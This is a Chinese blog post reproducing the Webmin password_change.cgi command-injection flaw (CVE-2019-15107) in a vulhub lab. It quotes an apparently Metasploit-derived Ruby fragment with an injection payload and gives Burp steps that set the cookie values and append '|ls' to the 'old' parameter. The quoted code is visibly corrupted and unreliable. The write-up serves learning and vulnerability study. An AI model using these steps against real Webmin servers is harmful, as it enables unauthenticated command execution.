Webmin 远程命令执行漏洞(CVE-2019-15107)——vulhub漏洞复现
程序员文章站
2022-07-15 14:10:48
...
前言:
Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。
影响版本:
Webmin <= 1.920
漏洞代码:
def peer
"#{ss1 ? 'https:// : ' http://' }#{rhost}:#{rport}"
end
# Target and input verification
##
def check
# check passwd change privres = send_ request_ cgi(
{
'uri' => normalize_ uri(target_ uri. path, " password_ change.cgi"),
' headers' =>
{
' Referer’=>”#{peer}/session_ login.cgi"
},
' cookie' =>" redirect=1; testing=1; sid=x; sessiontest=1"
})
if res & res.code == 200 && res.body =n /Failed/
res = send_ request_ cgi(
{
'method' =>'POST',
'cookie' => " redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => " application/ X-WWW- form- urlencoded ',
'uri' => normalize_ uri(target_ uri.path, ' password_ change.cgi' ),
” headers' =>
{
'Referer' => "#{peer}/session_ login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7 cdir%20&new1=akkuss&new2=akkuss"
})
审计完代码后,我们知道:
1.res = send_ request_ cgi()里面的东西就是数据包的内容,把抓取的数据包添加或修改对应得内容就可以了。
2.数据包user参数有一个默认用户root,只有参数user!=root的时候才会进入到修改/etc/shadow的地方,触发命令注入漏洞。
进入靶机:
无账号无密码登陆,用burp抓包
第一步,修改路径 session_ login.cgi 为 password_ change.cgi
第二步,修改Cookie为 Cookie: redirect=1; testing=1;sid=x; sessiontest=1
第三步,修改参数 user=jammny&pam=&expired=2&old=test1|ls&new1=test2&new2=test2
END
以前看到后台直接测试弱口令,现在知道了不只是弱口令,还有其他办法可以绕过登陆验证。多观察多学习多积累,加油。
推荐阅读
-
「漏洞预警」Apache Flink 任意 Jar 包上传导致远程代码执行漏洞复现
-
263通信某服务器存在Java反序列化漏洞(远程命令执行)
-
Jenkins远程命令执行漏洞(CVE-2018-1000861)
-
Webmin远程命令执行漏洞(CVE-2019-15107 )复现
-
CVE-2019-15107 Webmin远程命令执行漏洞复现
-
Webmin 远程命令执行漏洞(CVE-2019-15107)——vulhub漏洞复现
-
Jenkins远程命令执行漏洞(CVE-2018-1000861复现)
-
Webmin 远程命令执行漏洞(CVE-2019-15107)漏洞复现
-
Ngnix PHP-FPM 远程代码执行漏洞复现(CVE-2019-11043)
-
Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现